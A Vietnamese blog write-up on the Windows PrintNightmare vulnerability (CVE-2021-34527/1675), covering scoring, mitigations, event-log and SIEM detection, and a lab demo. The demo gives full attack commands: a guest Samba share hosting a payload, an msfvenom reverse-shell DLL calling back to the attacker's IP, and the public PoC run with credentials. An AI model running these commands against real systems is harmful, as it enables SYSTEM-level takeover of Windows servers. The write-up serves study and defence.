CVE-2021-34527 & CVE-2021-1675

 

I.Tổng quan

1. Mô tả

-Microsoft Window Print Spooler service gặp vấn đề khi hạn chế truy cập từ 1 function cho phép user add printer và driver liên quan, điều này cho phép 1 attacker đã được authen với low-priv  có thể thực thi bất kì code nào dưới quyền system. Service này mặc định được enable và running.



-Attacker có thể cài program, xem, thay đổi, xóa dữ liệu, tạo account với full quyền.

-Ảnh hưởng: Windows Server 2012, Windows Server 2016, Window 10 1607.

-Được chấm theo thang CVSSv3:

 +Score base metric: 8,8

 +Temporal score metric: 8,2

2. Metric

a. Base score metric

-Attack vector: Network(tấn công qua hệ thống mạng)

-Attack Complexity:  Low(Không yêu cầu nhiều điều kiện để thực hiện cuộc tấn công)

-Privileges Required: Low(User chỉ cần cần low-priv)

-User Interaction: None(Không cần tương tác từ user)

-Scope: Unchanged.(Không ảnh hưởng tới các thành phần khác)

-Confidentiality: High(Ảnh hưởng tới bảo mật: cao)

-Integrity: high(Ảnh hưởng tính toàn vẹn: cảo)

-Availbility: High(Ảnh hưởng tới tính sẵn sàng của hệ thống: cao)

b. Tempral scrore metric

-Exploit Code Maturity: Functional(Đánh giá dựa trên kĩ thuật khai thác)

-Remediation Level: Oficial Fix(Đánh giá dựa trên sự ưu tiên fix cho vuln)

-Report Confidence: Confirmed(Đánh giá dựa trên việc lỗ hổng được công khai cách khai thác và kiến thức attacker cần có để khai thác)

3. Đánh giá

-PrintSpooler được enable mặc định nên phạm vi của lỗ hổng rất lớn

-Attack vector là network nên thường attack sẽ xảy ra trong mạng LAN hoăc do mở các port trên firewall như 135,139/tcp ; 445/tcp.

-Ảnh hưởng chủ yếu tới các print server,phần lớn là Windows Server.

-Chỉ cần có user với low-priv là đã có khả năng chiếm quyền toàn bộ hệ thống mà không cần bất kì tương tác gì từ user hay admin.

4. Cách khắc phục

-Update các phiên bản mới nhất

-Stop và disable Print Spooler Service

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

-Disable inbound remote printing thông qua GPO

-Block RPC và SMB trên firewall với RPC endpoint Mapper(135/tcp) và SMB(139/tcp)

-Enable Security prompts cho Point and Print: Sau khi update , 1 registry value được gọi  RestrictDriverInstallationToAdministrators trong HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint\ sẽ được kiểm ta với việc hạn chế quyền cài driver chỉ cho user admin.

2. Chi tiết lỗ hổng

-Vấn đề nằm trong RpcAddPrinterDriver(), 1 legit function được thiết kế để cho phép remote printing và cài đặt driver. Function này được thiết kế để cho phép users add driver và remote printer với SeLoadDriverPrivilege().

3. Nhận biết lỗ hổng

a. Dùng PoC

Dùng “rpcdump.py“ của PoC để scan các host đang chạy Print System Remote Protocol.



b. Detect với window events

-Kiểm tra window event ID 4720 cho local user được tạo bởi những user thêm vào trong local admin theo event ID 4732.(Vì có khả năng sau khi exploit thành công, attacker sẽ tạo 1 user với quyền admin, monitor các event ID này để hạn chế khả năng này xảy ra)

-Enabling logging Microsoft Print Service (Microsoft-Windows-PrintService/Admin), event ID 808 được log lại khi print spooler load thất bại 1 plug-in module)

-Enable logging với Microsoft Print Service operational events (Microsoft-Windows-PrintService/Operational), Event ID được log lại khi printer drivers được thêm hay update.

c. Detect với với Use Case/SIEM rule

-Bất kì code nào chứa process “spoolsv.exe” và đường dẫn chứa ”C:\Windows\System32\spool\drivers\x64\”

-File được đặt tên:

·        'UNIDRV.DLL'

·        'wdlres.dll'

·        'hpygidres20.dll'

·        'hpygidUI20.dll'

·        'ADUIGP.DLL'

·        'FXSTIFF.DLL'

·        'FXSAPI.DLL'

·        'x5lrs.dll'

·        'MXDWDRV.DLL'

·        'FXSUI.DLL'

·        'FXSRES.DLL'

·        'PrintConfig.dll'

·        'FXSDRV.DLL'

4. Demo

-Thực hiện với WinServer 2016 ver 1607  IP :192.168.10.107 và máy attacker là Kali Linux IP: 192.168.10.108

-Install

pip3 uninstall impacket

git clone https://github.com/cube0x0/impacket

cd impacket

python3 ./setup.py install

-Scanning



-Tạo smb server trên máy Linux để share host payload

apt install samba

Config trong /etc/samba/smb.conf

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445
 
[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes

-Clone PoC

cd /tmp

mkdir CVE-2021-1675

git clone https://github.com/cube0x0/CVE-2021-1675

-Exploit

+tạo payload

cd /tmp

msfvenom -p windows/x64/shell_reverse_tcp Lhost=192.168.10.108 Lport=443 -f dll –o reverse.dll


+chạy payload này thông qua smb

cd /tmp/CVE-2021-1675

python3 CVE-2021-1675.py PHUC:PassW0rd@192.168.10.107 '\\192.168.10.108\smb\reverse.dll'


+mở msf console


-Exploit thành công

 


 

 

 

 

***Nguồn tham khảo

https://doublepulsar.com/zero-day-for-every-supported-windows-os-version-in-the-wild-printnightmare-b3fdb82f840c

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527

https://github.com/cube0x0/CVE-2021-1675

https://www.sirp.io/blog/soar-use-case-responding-to-printnightmare/

Nhận xét

Bài đăng phổ biến từ blog này

Write up forensic root-me UglyDuckling

SOC là gì? Ăn được không?

Write up forensic root-me log analys